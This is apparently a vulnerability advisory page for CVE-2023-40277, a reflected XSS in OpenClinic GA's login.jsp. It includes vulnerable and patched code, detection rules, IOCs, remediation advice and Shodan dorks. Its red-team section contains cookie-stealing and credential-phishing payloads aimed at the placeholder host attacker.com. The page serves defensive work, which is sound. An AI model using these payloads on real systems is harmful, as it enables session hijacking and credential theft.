☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-40277

CVE-2023-40277 Cross-Site Scripting in Openclinic
📅 PUBLISHED: 2024-03-19 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 5.247.01
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-40277 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in OpenClinic GA version 5.247.01. The flaw resides in the login.jsp page, specifically within the message parameter. An attacker can inject arbitrary JavaScript code via this parameter, which is then reflected back to the user's browser without proper sanitization or encoding. This allows for session hijacking, credential theft, or redirection to malicious sites. The vulnerability has a CVSS score of 0.0 in the NVD, but this is likely a placeholder; the actual impact is medium to high depending on the application's security context. No official patch has been released, and no exploit code is publicly available in Exploit-DB or GitHub.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability in OpenClinic GA.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0, which is likely an error or placeholder. Based on the vulnerability type (Reflected XSS), a more realistic CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R)
  • Scope (S): Changed (C)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but the impact can be significant if an administrative user is targeted.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS. The login.jsp page accepts a message parameter via HTTP GET or POST. This parameter is intended to display status messages (e.g., "Login failed"). However, the application does not sanitize or encode the input before rendering it in the HTML response.

Attack Flow:

  1. An attacker crafts a malicious URL: https://target/login.jsp?message=<script>alert('XSS')</script>
  2. The attacker sends this link to a victim (e.g., via phishing email).
  3. The victim clicks the link while authenticated (or not) to OpenClinic.
  4. The server reflects the message parameter value directly into the HTML without encoding.
  5. The victim's browser executes the injected script.
  6. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding for user-controlled input in the message parameter.

Vulnerable vs. Patched Code

Vulnerable Code (login.jsp):

<%
String message = request.getParameter("message");
if (message != null) {
    out.println("<div class='message'>" + message + "</div>");
}
%>

Patched Code (login.jsp):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String message = request.getParameter("message");
if (message != null) {
    out.println("<div class='message'>" + Encode.forHtml(message) + "</div>");
}
%>

The patched version uses OWASP Encoder (or similar) to HTML-encode the message parameter, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • OpenClinic GA 5.247.01 running on a target server.
  • A victim user who will click the crafted link.

Exploit Steps:

  1. Craft a malicious URL:
    http://target/login.jsp?message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  2. Send the link to the victim via email or social engineering.
  3. When the victim clicks, their session cookie is sent to the attacker's server.
  4. The attacker can then use the cookie to hijack the session.

Example Payload (Steal Cookie):

<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie;</script>

Example Payload (Phishing):

<script>document.body.innerHTML='<form method=post action=http://attacker.com/creds><input name=user><input name=pass type=password><input type=submit></form>';</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor web server logs for requests to /login.jsp with a message parameter containing <script> or other HTML tags.
  2. Use a Web Application Firewall (WAF) to block requests with suspicious message parameters.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

  1. Install OpenClinic GA 5.247.01 in a controlled environment.
  2. Use a browser with developer tools to inspect the response.
  3. Send a test payload: http://localhost/login.jsp?message=<script>alert(1)</script>
  4. Observe the alert box, confirming the XSS.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /login.jsp with a message parameter containing <script>, onerror, onload, or other event handlers.
  • Outbound connections to unknown IPs or domains from the OpenClinic server (if cookie exfiltration occurs).

File IOCs:

  • Modified login.jsp file (if attacker gains access).
  • Suspicious entries in web server access logs (e.g., GET /login.jsp?message=%3Cscript%3E).

Log IOCs:

  • Web server logs showing message parameter with encoded or raw HTML/JavaScript.

Detection Engineering

YARA Rule

rule Detect_OpenClinic_XSS_MessageParam {
    meta:
        description = "Detects reflected XSS attempts against OpenClinic GA login.jsp message parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40277"
    strings:
        $xss_pattern1 = /login\.jsp\?message=.*<script/i
        $xss_pattern2 = /login\.jsp\?message=.*onerror/i
        $xss_pattern3 = /login\.jsp\?message=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: OpenClinic GA Reflected XSS in login.jsp message Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to OpenClinic GA login.jsp with suspicious message parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'login.jsp?message='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of message parameter with safe text (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40277 OpenClinic GA Reflected XSS Attempt"; flow:to_server,established; content:"login.jsp"; http_uri; content:"message="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Sanitize the message parameter to allow only alphanumeric characters and safe punctuation.
  2. Output Encoding: Use HTML entity encoding (e.g., OWASP Java Encoder) when rendering the message parameter in the JSP.
  3. WAF Rules: Deploy a WAF rule to block requests with HTML/JavaScript in the message parameter.
  4. CSP Header: Add a Content Security Policy header that restricts script execution (e.g., script-src 'self').

Long-Term Fix:

  • Upgrade to a patched version of OpenClinic GA if available.
  • Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

  • If patching is not possible, disable the message parameter functionality or replace it with a server-side session attribute that does not reflect user input.

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"OpenClinic"
http.html:"login.jsp" "OpenClinic"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-40277/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.